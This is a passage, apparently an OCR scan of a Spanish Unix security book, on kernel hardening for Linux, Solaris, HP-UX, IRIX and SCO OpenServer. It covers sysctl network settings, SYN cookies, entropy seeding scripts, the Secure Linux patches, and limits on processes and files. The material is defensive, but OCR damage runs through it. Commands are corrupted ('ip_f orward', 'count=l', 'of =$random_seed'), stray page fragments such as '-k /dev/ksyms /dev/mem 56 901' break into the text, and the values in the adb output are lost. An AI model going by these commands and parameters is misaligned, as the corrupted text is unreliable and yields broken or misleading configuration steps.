en detalles con opciones concretas, es muy conveniente que introduzcamos soporte para sistemas 
de ficheros proc en 'Filesystems’ (config_PROC_fs) y activemos el interfaz sysctl en 'General 
Setup’ (config_SYSCTL); con estos pasos habilitamos la capacidad de Linux para modificar ciertos 
parametros del nucleo (en /proc/sys/) sin necesidad de reiniciar el sistema o recompilar el kernel. 

Pasando ya a comentar algunas opciones que nos ofrece Linux, es bastante interesante para la 
seguridad configurar nuestro sistema como un cortafuegos a la hora de compilar el nucleo (CON- 
fig_ip_FIREWALl). Linux ofrece en su kernel facilidades para definir un firewall de paquetes en el 
sistema, que ademas permitira el IP-Masquerading. Para que el subsistema de filtrado funcione es 
necesario que el IP-Forwarding este activado de la forma que mas tarde veremos. 

Otra opcion que nos puede ayudar a incrementar la seguridad de nuestro equipo es la defragmen- 
tation de paquetes (config_ip_ALWAYS_DEFRAG) que llegan a traves de la red. Cuando un equipo 
situado entre el origen y el clestino de los datos decide que los paquetes a enviar son demasiado 
grandes, los divide en fragmentos de longitud menor; sin embargo, los numeros de puerto solamente 
viajan en el primer fragmento, lo que implica que un atacante puede insertar information en el 
resto de tramas que en teorfa no debe viajar en ellas. Activando esta opcion, en nuestra maquina 
estos fragmentos se reagruparan de nuevo incluso si van a ser reenviados a otro host. 

1 Sin embargo, ningiin Trusted Unix tiene su codigo disponible. . . 
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Siguiendo con las diferentes opciones del subsistema cle red, podemos habilitar el soporte para 
‘SYN Cookies’ (config_SYN_COOKIES) en el nucleo que estamos configurando. Una red TCP/IP 
habitual no puede soportar un ataque de negation de servicio conocido como ‘SYN Flooding ’, con- 
sistente basicamente en enviar una gran cantidad de tramas con el bit SYN activado para asi saturar 
los recursos de una maquina determinada hasta que los usuarios no pueden ni siquiera conectar a 
ella. Las ‘SYN Cookies’ proporcionan cierta protection contra este tipo de ataques, ya que la pila 
TCP/IP utiliza un protocolo criptografico para permitir que un usuario legitimo pueda seguir acce- 
diendo al sistema incluso si este esta siendo atacado. Aunque configuremos y ejecutemos un nucleo 
con esta option soportada, hemos de activar las ‘SYN Cookies’ cada vez que el sistema arranca 
(como veremos luego), ya que por defecto estan deshabilitadas. 

En ciertas situaciones es interesante analizar en espacio de usuario - es clecir, sin sobrecargar 
al nucleo mas de lo estrictamente necesario - un paquete o parte de el (tfpicamente, los 128 pri- 
meros bytes) que llega a traves de la red hasta nuestra maquina; de esta forma, un analizador 
simple puede tomar ciertas decisiones en funcion del contenido del paquete recibido, como enviar 
un correo al administrador en caso de sospecha o grabar un mensaje mediante syslog. Justa- 
mente esto es lo que conseguimos si habilitamos la option Firewall Packet Netlink Device (CON- 
fig_ip_firewall_netlink). 

Hasta ahora hemos lrablado de la posibilidad que tiene Linux para modificar parametros del nucleo 
sin necesidad de recompilarlo o de reiniciar el equipo, mediante el interfaz sysctl; esto implica por 
ejemplo que podemos modificar el comport amiento del subsistema de red simplemente modifican- 
do determinados ficheros de /proc/sys/ (recordemos que el sistema de ficheros /proc/ de algunos 
Unix es una interfaz entre estructuras de datos del nucleo y el espacio de usuario). Vamos a ver aho- 
ra algunos de estos parametros configurables que tienen mucho que ver con la seguridad del sistema: 

Uno de los parametros que nos interesa es la habilitacion o deshabilitacion del IP Forwarding 
en el nucleo de Linux; como hemos dicho antes, el sistema de filtrado de paquetes solo funciona 
cuando esta option esta habilitada, lo que se consigue con la orden 

luisa:~# echo 1 > /proc/sys/net/ipv4/ip_f orward 

Sin embargo, si no utilizamos las facilidades de firewalling del nucleo de Linux esta option ha de 
estar desabilitada (introducirfamos un ‘0’ en lugar de un ‘1’ en el fichero anterior), ya que de lo 
contrario corremos el peligro de que nuestra maquina se convierta en un router. 

Antes hemos hablado de las ‘SYN Cookies’, y hemos comentado que aunque el soporte para esta 
caracterfstica se introduce al compilar el nucleo, realmente el mecanismo se ha de activar desde 
espacio de usuario, por ejemplo con una orden como la siguiente: 

luisa:~# echo 1 >/proc/sys/net/ipv4/tcp_syncookies 

Tambien es muy recomendable que el subsistema de red del kernel descarte las tramas con Source 
Routing o encaminamiento en origen activado. Este tipo de paquetes contienen el camino que han 
de seguir hasta su destino, de forma que los routers por los que pasa no han de examinar su conte- 
nido sino simplemente reenviarlo, hecho que puede causar la llegada de datos que constituyan una 
amenaza a nuestras polfticas de seguridad. En los nucleos 2.0 esto se consegufa activando la option 
CONFIG_ip_NOSR, mientras que en los 2.2 la forma mas sencilla de ignorar estos paquetes es introdu- 
ciendo un ‘0’ en los diferentes ficheros accept_source_route del directorio /proc/sys/net/ipv4/; 
por ejemplo la siguiente orden descarta las tramas con encaminamiento en origen que llegan al 
dispositivo de red ethO: 

luisa:~# echo 0 >/proc/sys/net/ipv4/conf/eth0/accept_source_route 

Hemos de recordar que las modificaciones que hacemos sobre el interfaz sysctl son dinamicas (se 
pueden efectuar con el sistema funcionando, sin necesidad de reiniciarlo), pero se pierclen cuando 
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la maquina se apaga para establecerse a unos valores por clefecto al arrancar de nuevo el sistema 
operativo; seguramente nos interesara mantener los cambios realizados, por lo que en alguno de 
los ficheros de inicializacion de la maquina hemos de incluir las ordenes que acabamos de explicar, 
obviamente despues de haber montado el sistema de ficheros /proc/. 

9.2.2 Dispositivos 

Linux (no asi otros Unices) proporciona dos dispositivos virtuales denominados /dev/random y 
/ dev/urandom que pueden utilizarse para generar numeros pseudoaleatorios, necesarios para apli- 
caciones criptograficas. El primero de estos ficheros, /dev/random, utiliza lo que su autor denomina 
‘ ruido ambiental’ (por ejemplo, temporizadores de IRQs, accesos a disco o tiempos entre pulsaciones 
de teclas) para crear una fuente de entropia aceptable y - muy importante - que apenas introduce 
sobrecarga en el sistema. El segundo archivo, /dev/urandom, crea un resumen de la entropia de 
/dev/random utilizando la funcion hash SHA ( Secure Hash Algorithm), disenada por el NIST y 
la NSA para su Digital Signature Standard ([oST84]). Por tanto, tenemos una fuente de entropia 
aceptable, /dev/urandom, y otra incluso mejor, pero de capacidad limitada, /dev/random. Para 
detalles concretos sobre su funcionamiento se puede consultar el fichero que las implementa clentro 
del nucleo de Linux, drivers/char/random, c. 

Como en el propio codigo se explica, cuando un sistema operativo arranca ejecuta una serie de 
acciones que pueden ser predecidas con mucha facilidad por un potencial atacante (especialmente 
si en el arranque no interactua ninguna persona, como es el caso habitual en Unix) . Para mantener 
el nivel de entropia en el sistema se puede almacenar el desorden que existia en la parada de la 
maquina para restaurarlo en el arranque; esto se consigue modificando los scripts de inicializacion 
del sistema. En el fichero apropiado que se ejecute al arrancar (por ejemplo, /etc/rc . d/rc . M) 
debemos anadir las siguientes lineas: 

echo "Initializing random number generator..." 
random_seed=/var/run/random-seed 

# Carry a random seed from start-up to start-up 

# Load and then save 512 bytes, which is the size of the entropy pool 
if [ -f $random_seed ] ; then 

cat $random_seed >/dev/urandom 
fi 

dd if=/dev/urandom of =$random_seed count=l 
chmod 600 $random_seed 

Mientras que en un fichero que se ejecute al parar el sistema anadiremos lo siguiente: 

# Carry a random seed from shut-down to start-up 

# Save 512 bytes, which is the size of the entropy pool 
echo "Saving random seed..." 

random_seed=/var/ run/ random-seed 
dd if=/dev/urandom of =$random_seed count=l 
chmod 600 $random_seed 

Con estas pequenas modificaciones de los archivos de arranque y parada del sistema conseguimos 
mantener un nivel de entropia aceptable durante todo el tiempo que el sistema permanezca encendi- 
do. Si de todas formas no consideramos suficiente la entropia proporcionada por estos dispositivos 
de Linux, podemos conseguir otra excelente fuente de desorden en el mismo sistema operativo a 
partir de una simple tarjeta de sonido y unas modificaciones en el nucleo ([Men98]), o utilizar alguno 
de los generadores - algo mas complejos - citados en [Sch94]. 

9.2.3 Algunas mejoras de la seguridad 

En esta seccion vamos a comentar algunos aspectos de modificaciones del nucleo que se distribuyen 
libremente en forma de parches, y que contribuyen a aumentar la seguridad de un sistema Linux; 
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para obtener referencias actualizadas de estos codigos - y otros no comentados aquf - es recomen- 
dable consultar [Sei99] ; para information de estructuras de datos, ficheros o limites del nucleo de 
Linux se puede consultar [BBD + 96] o [CDM97]. 

Limites del nucleo 

En include/ asm/resource. h tenemos la initialization de algunas estructuras de datos del nucleo 
relacionadas con limites a la cantidad de recursos consumida por un determinado proceso; por 
ejemplo, el maximo niimero de procesos por usuario (rlimitjmproc) se inicializa a 
MAX_TASKS_PER_USER, valor que en include/linux/tasks . h podemos comprobar que se corres- 
ponde con la mitad de NR_TASKS (niimero maximo de procesos en el sistema); en arquitecturas i86 
el valor del limite de procesos por usuario se fija a 256. De la misma forma, el niimero maximo de 
ficheros abiertos por un proceso (rlimit_NOFILe) se inicializa al valor nr_OPEN, que en el archivo 
include/ asm/limits. h se define como 1024. 

Estos limites se pueden consultar desde espacio de usuario con la llamada getrlimitO; esta fun- 
cion utiliza una estructura de datos rlimit, clefinida en include/linux/resource .h, que contiene 
dos datos enteros para representar lo que se conoce como limite soft o blando y limite hard o duro. 
El limite blando de un recurso puede ser modificado por cualquier proceso sin privilegios que llame 
a setrlimitO, ya sea para aumentar o para disminuir su valor; por el contrario, el limite hard 
define un valor maximo para la utilization de un recurso, y solo puede ser sobrepasado por procesos 
que se ejecuten con privilegios de administrador. 

En el fichero include/linux/nf s . h podemos clefinir el puerto maximo que los clientes NFS pueden 
utilizar (nfs_PORt); si le asignamos un valor inferior a 1024 (puertos privilegiados), solo el admi- 
nistrador de otro sistema Unix podra utilizar nuestros servicios NFS, de forma similar a la variable 
nfs_portmon de algunos Unices. 

Para cambiar los limites de los parametros vistos aqui la solution mas rapida pasa por modifi- 
car los ficheros de cabecera del kernel , recompilarlo y arrancar la maquina con el nuevo nucleo; 
sin embargo, a continuation vamos a hablar brevemente de Fork Bomb Defuser, un modulo que 
permite al administrador modificar algunos de estos parametros sin reiniciar el sistema. 

Fork Bomb Defuser 

El kernel de Linux no permite por defecto limitar el niimero maximo de usuarios y el niimero 
maximo de procesos por usuario que se pueden ejecutar en el sistema sin tener que modificar el 
codigo del nucleo; si no queremos modificarlo, casi no hay mas remedio que utilizar un poco de 
programacion (unos simples shellscripts suelen ser suficientes) y las herramientas de planificacion 
de tareas para evitar que un usuario lance clemasiados procesos o que conecte cuando el sistema ya 
ha sobrepasado un cierto umbral de usuarios conectados a el. 

Mediante el modulo Fork Bomb Defuser se permite al administrador controlar todos estos pa- 
rametros del sistema operativo, incrementando de forma flexible la seguridad de la maquina. El 
codigo esta disponible en http://rexgrep.tripod.eom/rexfbdmain.h.tm. 

Secure Linux 

Por Secure Linux se conoce a una coleccion de parches para el nucleo de Linux programados por 
Solar Designer, uno de los hackers mas reconocidos a nivel mundial en la actualidad (entendiendo 
hacker en el buen - y linico - sentido de la palabra). Este software, disponible libremente desde 
http : //www. false . com/ security/linux/ 2 , incrementa la seguridad que el nucleo proporciona por 
defecto, ofreciendo cuatro importantes diferencias con respecto a un kernel normal: 

2 Esta URL ya no existe, ahora los trabajos de Solar Designer se encuentran en http://www.openwall.com/; 
gracias, David :). 
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• Area de pila no ejecutable 

En un sistema con el area de la pila no ejecutable los ataques de buffer overflow son mas 
dificiles de realizar que en los sistemas habituales, ya que muchos de estos ataques se basan 
en sobreescribir la direction de retorno de una funcion en la pila para que apunte a codigo 
malicioso, tambien depositado en la pila. Aunque Secure Linux no es una solution completa, si 
que ahade un nivel extra de seguridad en este sentido, haciendo que un atacante que pretenda 
utilizar un buffer overflow contra nuestro sistema tenga que utilizar codigo mas complicado 
para hacerlo. 

• Enlaces restringidos en /tmp 

Con esta caracteristica, Secure Linux intenta que los usuarios sin privilegios puedan crear 
enlaces en /tmp/ sobre ficheros que no les pertenecen, eliminando asi ciertos problemas de 
seguridad que afectan a algunos sistemas Linux, relacionados principalmente con condiciones 
de carrera en el acceso a ficheros. 

• Tuberias restringidas en /tmp 

Esta option no permite a los usuarios escribir en tuberias (fifos) que no le pertenezcan a el o 
al root en directories con el bit de permanencia activo, como /tmp. De esta forma se evitan 
ciertos ataques de Data Spoofing. 

• /proc restringido 

Esta es quizas la caracteristica mas util de este parche, aparte de la mas visible para el usuario 
normal. Permite que los usuarios no tengan un acceso completo al directorio /proc/ (que 
recordemos permite un acceso a estructuras de datos del niicleo, como la tabla de procesos, 
clesde el espacio de usuario) a no ser que se encuentren en un cleterminado grupo con el nivel 
de privilegio suficiente. De esta forma se consigue un aumento espectacular en la privacidad 
del sistema, ya que por ejemplo los usuarios solo podran ver sus procesos al ejecutar un ps 
aux, y tampoco tendran acceso al estado de las conexiones de red via netstat; asi, ordenes 
como ps o top solo muestran information relativa a los procesos de quien las ejecuta, a no 
ser que esta persona sea el administrador o un usuario perteneciente al grupo 0. 

Auditd 

El demonio auditd permite al administrador de un sistema Linux recibir la information de auditoria 
de seguridad que el niicleo genera, a traves del fichero /proc/audit, filtrarla y almacenarla en 
ficheros. Esta information tiene el siguiente formato: 

AUDIT_CONNECT pid ruid shost sport dhost dport 
Conexion desde la maquina al host remoto dhost. 

AUDIT_ACCEPT pid ruid shost sport dhost dport 
Conexion desde el host remoto dhost a la maquina. 

AUDIT_LISTEN pid ruid shost sport 

El puerto indicado esta esperando peticiones de servicio. 

AUDIT.OPEN pid ruid file 
Se ha abierto el fichero file. 

AUDIT.SETUID pid old.ruid ruid euid 

Se ha llamado con exito a setuidO, modificando el UID de ruid a euid. 

AUDIT_EXEC pid ruid file 
Se ha ejecutado el fichero file. 

AUDIT_MODINIT pid ruid file 

Se ha insertado en el kernel el modulo file. 

Al leer la information de /proc/audit, el demonio auditd lee las reglas de filtrado del fichero 
/etc/security/audit . conf, comparando los flags, pid y RUID ( Real User IDentifter) recibidos 
con cada una de las reglas del archivo de configuration hasta encontrar la apropiada para tratar el 
evento. Una vez que el demonio auditd ha encontrado el fichero donde almacenar la information 
recibida, la guarda en el con un formato legible. 
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9.3 Solaris 

9.3.1 El subsistema de red 

Como en el caso de Linux — y de cualquier Unix - es conveniente detener los paquetes que contengan 
en ellos el camino a seguir hasta su destino (lo que se conoce por source routing, encaminamiento 
en origen); en Solaris esto se consigue con la orden 

anita:~# /usr/sbin/ndd -set /dev/ip ip_f orward_src_routed 0 

La orden ndd se utiliza para visualizar y modificar los parametros de un determinado driver, por 
ejemplo, si quisieramos comprobar los parametros de /dev/ip, lo hariamos con la orden 

anita:~# /usr/sbin/ndd /dev/ip \? 

El uso del caracter ‘\‘ no es mas que un escape del shell para el shnbolo ‘ ? ’ . 

Mientras que en Linux era necesario el IP Forwarding para que el sistema de filtrado de paquetes fun- 
cione correct amente, en Solaris es conveniente deshabilitar esta opcion para evitar que nuestro equi- 
po se convierta en un router. En algunas versiones de Solaris basta crear el fichero /etc/notrouter 
para deshabilitar el rutado, pero se suele utilizar mas a menudo la siguiente orden: 

anita:~# /usr/sbin/ndd -set /dev/ip ip_f orwarding 0 

Si queremos prevenir ataques de ARP Spoofing es conveniente clar un tiempo de vida a las entradas 
de la tabla de direcciones ffsicas. En este caso las orclenes a ejecutar (para un tiempo de vida de 
un minuto) son 

anita:~# /usr/sbin/ndd -set /dev/ip ip_ire_f lush_ interval 60000 
anita:~# /usr/sbin/ndd -set /dev/arp arp_cleanup_interval 60 

Una maquina Solaris con mas de un interfaz de red actua automaticamente como un router de 
paquetes entre los interfaces; hemos desabilitado el IP Forwarding, pero para conseguir que los 
paquetes que lleguen por un interfaz y tengan otro como destino se descarten, previniendo asf el 
Host Spoofing hemos de modificar las siguientes variables del kernel: 

anita:~# /usr/sbin/ndd -set /dev/ip ip_strict_dst_multihoming 1 
anita:~# /usr/sbin/ndd -set /dev/ip ip_ignore_redirect 1 

Hay que resaltar que la configuration mediante ndd de los parametros anteriores permanecera hasta 
que el sistema se reinicie, pero en ese momento se perclera y todos los parametros volveran a sus 
valores por defecto; para solucionarlo, podemos crear un script que se ejecute al iniciar el sistema 
y que lanze todas las ordenes vistas anteriormente. Esto se puede hacer, por ejemplo, creando el 
fichero /etc/init . d/nddconf ig con el siguiente contenido 3 : 

# ! /bin/ sh 
# 

# /etc/init .d/nddconf ig 

# 

# Fix for broadcast ping bug 

/usr/sbin/ndd -set /dev/ip ip_respond_to_echo_broadcast 0 

# Block directed broadcast packets 

/usr/sbin/ndd -set /dev/ip ip_f orward_directed_broadcasts 0 


3 Ejemplo extrafdo de Solaris Security Guide, documento disponible en http://www.sabernet.net, de autor des- 
conocido. 
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# Prevent spoofing 

/usr/sbin/ndd -set /dev/ip ip_strict_dst_multihoming 1 

/usr/sbin/ndd -set /dev/ip ip_ignore_redirect 1 

# No IP forwarding 

/usr/sbin/ndd -set /dev/ip ip_f orwarding 0 

# Drop source routed packets 

/usr/sbin/ndd -set /dev/ip ip_f orward_src_routed 0 

# Shorten ARP expiration to one minute to minimize ARP spoofing/hijacking 

# [Source: Titan adjust-arp-timers module] 

/usr/sbin/ndd -set /dev/ip ip_ire_f lush_interval 60000 

/usr/sbin/ndd -set /dev/arp arp_cleanup_interval 60 

Tras crear este archivo hemos de enlazarlo con otro nombre en /etc/rc2.d/, para que se ejecute 
al entrar en un runlevel 2, por ejemplo con la orclen 

anita:~# In /etc/init . d/nddconf ig /etc/rc2 . d/S70nddconf ig 

9.3.2 El fichero /etc/system 

En este archivo el administrador de un equipo Solaris puede definir variables para el niicleo del 
sistema operativo, como el numero maximo de ficheros abiertos por un proceso o el uso de memoria 
compartida, semaforos y mensajes para intercomunicacion entre procesos. En este apartado vamos a 
comentar algunos de estos parametros que pueden afectar a la seguridad; hablaremos especialmente 
de aquellos que pueden y deben ser limitados para evitar diversos tipos de negaciones de servicio, 
ataques que recordemos afectan a la disponibilidad de nuestros recursos. Los cambios que se realicen 
en este archivo no tendran efecto hasta que la maquina se reinicie con la orden 

anita:~# reboot — -r 

o se cree el archivo /reconfigure y se reinice con un reboot normal: 

anita:~# touch /reconfigure 
anita:~# reboot 

Si deseamos ver el valor de alguno de los parametros en el kernel que se esta ejecutando en este 
momento, lo podemos hacer con la orden adb (notese que no ofrece ningun prompt, hemos de 
escribir directamente el parametro a visualizar, con un ‘ /D ’ al final para que nos muestre el valor 
en decimal): 

anita:~# adb 
physmem 38da 
maxusers/D 
maxusers : 
maxusers : 
maxuprc/D 
maxuprc : 
maxuprc : 

~d 

anita: ~# 

Una negation de servicio muy tipica en Unix es el consumo excesivo de recursos por parte de 
usuarios que lanzan - voluntaria o involuntariamente - demasiados procesos; esto es especialmente 
comun en sistemas de I+D, donde muchos usuarios se dedican a programar, y un pequeno error 
en el codigo (a veces denominado ‘ runaway fork ’) puede hacer que el sistema se vea parado por 


-k /dev/ksyms /dev/mem 

56 

901 



9.4. HP-UX 


149 


un exceso cle procesos activos en la tabla. La gravedad del problema aumenta si pensamos que 
tambien es muy habitual que los usuarios lancen simulaciones que tardan en ejecutarse varios dfas 
(o varias semanas), de forma que una parada inesperada puede causar la perdida de muchas horas 
de trabajo. Por tanto, parece obvio que es recomendable limitar el numero de procesos simultaneos 
por usuario; en Solaris este numero esta ilimitado por defecto, por lo que si deseamos asignar un 
valor maximo hemos de editar el fichero /etc/system e incluir una lfnea como la siguiente: 

set maxuprc=60 

De esta forma limitamos el numero de procesos por usuario a 60 (un numero aceptable en la mayoria 
de sistemas 4 ), consiguiendo asi que un error en un programa no sea capaz de detener la maquina. 

Un parametro del sistema operativo especialmente importante, y que quizas nos interese modi- 
ficar (sobre todo en maquinas con pocos recursos) es maxusers. A1 contrario de lo que mucha 
gente cree, maxusers no hace referencia al numero maximo de usuarios que pueden conectar si- 
multaneamente al sistema, sino que es un valor que escala a otros parametros del nucleo (como 
max_nproc, numero maximo de procesos en la tabla) o maxuprc. Para modificarlo, podemos incluir 
en / etc/ system una lfnea con el valor deseado, generalmente el tamaho en MB de la memoria ffsica 
de nuestra maquina ([Dik99]): 

set maxusers=128 

Tambien puede ser conveniente limitar parametros del sistema operativo relativos al sistema de 
ficheros, ya que tambien se pueden producir negaciones de servicio relacionadas con ellos. Por ejem- 
plo, es interesante poder limitar el numero maximo de ficheros abiertos mediante los parametros 
rlim_fd_max (lfmite hard) y rlim_fd_cur (lfmite soft ) o evitar que los usuarios puedan utilizar 
chownO en sus ficheros, especificando un valor 1 para la variable rstchown (este es el comporta- 
miento por defecto; si no lo seguimos, aparte de comprometer la seguridad los usuarios sin privilegios 
podrfan ignorar el sistema de quotas). 

En algunas arquitecturas SPARC (concretamente en sun4u, sun4d y sun4m) es posible estable- 
cer una protection hardware para prevenir ataques de buffer overflow, para ello, en /etc/system 
hemos de incluir una lfnea como 

set noexec_user_stack=l 

Y si ademas queremos monitorizar los intentos de ataque de este tipo, incluimos en el archivo la 
lfnea 


set noexec_user_stack_log=l 

Si administramos un servidor NFS y deseamos que ignore las peticiones de clientes que no provengan 
de puertos privilegiados (es clecir, que no hayan sido solicitadas por un usuario privilegiado de la 
maquina cliente) podemos definir la variable NFS_PORTMON en /etc/system; si usamos versiones 
de Solaris anteriores a la 2.5, debemos incluir una lfnea como 

set nf s :nf s_portmon = 1 

mientras que en Solaris 2.5 y posteriores utilizaremos 

set nf ssrv:nfs_portmon = 1 

9.4 HP-UX 

Generalmente se recomienda utilizar la herramienta SAM ( System Administration Manager) en los 
sistemas HP-UX, que ademas de las tareas clasicas de administration permite modificar parametros 


4 Aunque en algunos documentos se recomienda, para otros Unices, un numero maximo de 200 procesos ([CH99]). 
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de un nucleo, reconstruirlo e instalarlo en el sistema de una forma sencilla, guardando una copia 
del kernel actual en /SYSBACKUP (algo muy util, ya que recordemos que un nucleo mal configurado 
puede hacer que la maquina no arranque). Por tanto, clesde SAM hemos de entrar en el menu 
'Kernel Configuration 1 y desde ahi elegir los parametros que deseamos modificar para construir 
el nuevo kernel ; como en el caso de Solaris, podemos fijar el parametro maxusers (tambien con un 
significado similar al que esta variable posee en Solaris) y tambien el numero maximo de procesos 
por usuario (parametro maxuprc). 


Si deseamos modificar y reconstruir el nuevo nucleo a mano, el proceso difiere de HP-UX 9.x a 
HP-UX 10.x. Los pasos en ambos casos son los siguientes: 


HP-UX 9.x 

# cd /etc/conf 

# cp dfile dfile.old 

# vi dfile 

# config dfile 

# make -f config. mk 

# mv /h.p-ux /hp-ux. old 

# mv /etc/conf /hp-ux /hp-ux 

# cd / ; shutdown -ry 0 


HP-UX 10.x 

# cd /stand/build 

# /usr/lbin/sysadm/system_prep -s system 

# vi system 

# mk_kernel -s system 

# mv /stand/system /stand/system.prev 

# mv /stand/build/system /stand/system 

# mv /stand/vmunix /stand/vmunix.prev 

# mv /stand/build/ vmunix_test /stand/vmunix 

# cd / ; shutdown -ry 0 


Al editar los ficheros /etc/conf /dfile (HP-UX 9.x) o /stand/build/ system (HP-UX 10.x) hemos 
de especificar los parametros comentados anteriormente, de la forma 


maxuprc 60 

maxusers 100 


Otros parametros a tener en cuenta relacionados con la gestion de procesos son nproc (numero 
maximo de procesos en el sistema), nkthread (numero maximo de hilos simultaneos en el nucleo) 
o max_thread_proc (numero maximo de hilos en un proceso). 


Igual que en Solaris - y en cualquier Unix en general - tambien nos puede interesar limitar algunos 
parametros relacionados con el sistema de ficheros, de cara a evitar posibles consumos excesivos de 
recursos que puedan comprometer nuestra seguridad. Por ejemplo, maxfiles indica un lhnite soft 
a los ficheros abiertos por un proceso y maxfiles_lim un lfmite hard (que obviamente ha de ser 
mayor que el anterior); nfile indica el numero maximo de ficheros abiertos en el sistema y ninode 
el numero de inodos (se recomienda que ambos coincidan). Por ultimo, nf locks indica el numero 
maximo de ficheros abiertos y bloqueados en la maquina. 


9.5 IRIX 

Como en cualquier Unix, antes de pasar a modificar parametros del nucleo es conveniente guardar 
una copia del mismo para poder arrancar la maquina en caso de problemas; en IRIX, esto lo 
conseguimos con una orden como la siguiente: 

# cp /unix /unix.SAV 

Una vez tenemos la copia, podemos pasar a modificar el kernel del sistema operativo, igual que en 
los ejemplos anteriores, para evitar principalmente negaciones de servicio por un consumo excesivo 
de recursos. Para modificar parametros hemos de utilizar la orden systune, como se muestra a 
continuation: 

# systune -i 

Updates will be made to running system and /unix . install 
systune-> nproc 
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nproc = 400 (0x190) 
systune-> nproc = 500 

nproc = 400 (0x190) 

Do you really want to change nproc to 500 (0xlf4)? (y/n) y 
In order for the change in parameter nproc to become effective /unix . install 
must be moved to /unix and the system rebooted 
systune-> quit 
# 

En este ejemplo acabamos de consultar y modificar el valor del parametro nproc, que indica el 
numero maximo de procesos en la maquina (a continuacion se comentaran con detalle algunos de 
estos parametros utiles de cara a la seguridad) . Podemos comprobar que tras modificar su valor los 
cambios se almacenan en un fichero llamado /unix. install, que no es mas que la nueva imagen 
del niicleo que acabamos de crear; para que los cambios tengan efecto hemos de reiniciar el siste- 
ma, lo que automaticamente movera este nuevo kernel al fichero /unix: por eso hemos de guardar 
previamente una copia de la imagen original en /unix.SAV, por ejemplo. 

Limitando el numero total de procesos en la maquina a un valor aceptable para nuestro sistema 
podemos evitar muchas negaciones de servicio; otra forma de evitarlas es modificando el parametro 
maxup, que representa el numero maximo de procesos por usuario; su valor, que por defecto es 150, 
siempre se recomienda que sea menor que nproc-5 ([Zur94]). 

Si lo que queremos es limitar el el numero maximo de ficheros abiertos por cada proceso pode- 
mos asignar el valor que nos interese al parametro rlimit_nof ile_cur, que por defecto esta a 200; 
el valor que le asignemos siempre ha de ser menor que rlimit_nof ilejnax, por lo que quizas tam- 
bien necesitemos modificar este parametro. 

Otros parametros del niicleo que quizas nos resulte interesante modificar de cara a nuestra se- 
guridad son nosuidshells (si su valor es distinto de 0 evita que las aplicaciones puedan crear 
shells setuidados y pertenecientes al administrador) , restricted_chown, que define si el estilo de 
la llamada chownO es BSD (con un valor 0, indicando que solo el administrador puede cambiar la 
propiedad de los archivos) o System V (si su valor es 1 indica que cualquier usuario puede utilizar 
chownO) o nfsjportmon (si es 1 los clientes NFS solo pueden ser lanzados por administradores 
remotos, porque han de utilizar puertos privilegiados) . 

Pasando ya a la configuracion del subsistema de red, si en IRIX queremos deshabilitar el IP For- 
warding (por defecto esta activado en maquinas con mas de un interfaz) hemos de editar una confi- 
guracion del kernel (/var/sysgen/master . d/bsd) y modificar el valor de la variable ipforwarding 
de 1 a 0: 

int ipforwarding = 0; 

Una vez modificado este archivo hemos de ejecutar la orden autoconfig -f, que al igual que 
sysinfo -i genera un fichero /unix. install que se convierte en /unix (la imagen del niicleo) al 
reiniciar el sistema. 

Antes de finalizar esta seccion hay que citar como consulta obligatoria [JZRT99], una obra que 
proporciona a cualquier administrador de IRIX una vision particular de la seguridad para este sis- 
tema operativo, desde un repaso a las herramientas de backup hasta una description de las listas 
de control de acceso, pasando por el sistema de monitorizacion en IRIX. 


9.6 SCO Openserver 

La configuracion de tunables en SCO Openserver se puede realizar utilizando diversas herramien- 
tas del operativo, generalmente configure, idtune, getconf o inconfig ([MS94]); por ejemplo, 
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si deseamos modificar el numero maximo de procesos en el sistema, lo podemos hacer a traves 
de /etc/conf/cf .d/conf igure. Esta utilidad nos mostrara un menu con diferentes categorias 
de parametros configurables; en nuestro caso clebemos elegir MAX_PROC, disponible en la seccion 
Table limits de Configuration Tunables. Tambien podemos configurar aquf el maximo numero de 
descriptores de fichero en uso en el sistema, modificando el valor del parametro MAX_file (jeste 
parametro no controla el numero maximo de ficheros abiertos por proceso!). 

Utilizando esta misma utilidad, pero ahora en la seccion User and group configuration podemos 
definir el numero maximo de ficheros que un proceso puede abrir simultaneamente (nofiles), el 
tamaho de fichero maximo que un usuario puede crear (ulimit), el numero de procesos simultaneos 
bajo un mismo identificador de usuario distinto del root (maxup), el lhnite de memoria virtual de 
un proceso sin privilegios (maxumem) y el comportamiento de la orclen chown (chown_RES, donde 
0 - valor por defecto - indica que los usuarios no pueden modificar la propiedad de los archivos) . 

Si modificamos parametros del nucleo mediante configure debemos reconstruir el kernel del siste- 
ma y situarlo en / etc/ conf /cf . d/ ; ambas cosas se consiguen mediante la orden link_unix, situada 
en ese mismo directorio. Esta utilidad copiara ademas el nucleo actual, /unix, en /unix.old, para 
poder arrancar con el en caso de que algo grave suceda al introducir modificaciones: 

cristina: ~# cd /etc/conf/cf . d/ 

cristina: / etc/conf/cf . d# . /link_unix 

The UNIX Operating System will now be rebuilt. 

This will take a few minutes. Please wait. 

Root for this system build is /. 

The UNIX Kernel has been rebuilt. 

Do you want this kernel to boot by default? (y/n) y 

Backing up /unix to /unix.old 

Installing new /unix 

The kernel environment includes device node files and /etc/inittab . 

The new kernel may require changes to /etc/inittab or device nodes. 

Do you want the kernel environment rebuilt? (y/n) y 

The kernel has been successfully linked and installed. 

To activate it, reboot your system. 

cristina: / etc/conf/cf . d# 

Para configurar parametros globales del subsistema de red en SCO Openserver podemos utilizar la 
orden inconfig. Esta utilidad actualizara los clatos definidos en /etc/default/inet, asf como los 
que el nucleo en ejecucion esta utilizando; de esta forma, y al contrario de lo que sucede al utilizar 
configure, no es necesario reiniciar el sistema para que los nuevos valores se inserten en el kernel , 
ya que inconfig lo actualiza de forma dinamica (si alguno de los nuevos valores es erroneo, se 
mantienen los valores actuales para el parametro correspondiente). 

La orden inconfig recibe como argumentos el parametro a configurar y su nuevo valor; asf, si 
por ejemplo deseamos desactivar el IP Forwarding en nuestra maquina (aunque por defecto ya lo 
esta), podemos conseguirlo con una orden como la siguiente: 

cristina: - # inconfig ipforwarding 0 

cristina: ~# 
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Una maquina con el IP Forwarding desactivado aiin reenviara paquetes source route ; para evitar que 
esto ocurra hemos de asignar al parametro ipnonlocalsrcroute el valor 0 (utilizado por defecto 
en SCO Openserver). 

Otro de los parametros del subsistema de red en nuestra maquina que nos puede interesar mo- 
dificar de cara a aumentar la seguridad es el tiempo de expiration de las entradas de la tabla ARP 
(por defecto, establecido a veinte minutos); el parametro de inconf ig en este caso sera arpt_keep 
seguido del valor deseado. Aclemas, la tabla ARP se escanea cada cinco minutos en busca de entra- 
das caducas; podemos modificar este tiempo con el parametro arpt_prune de inconf ig. 

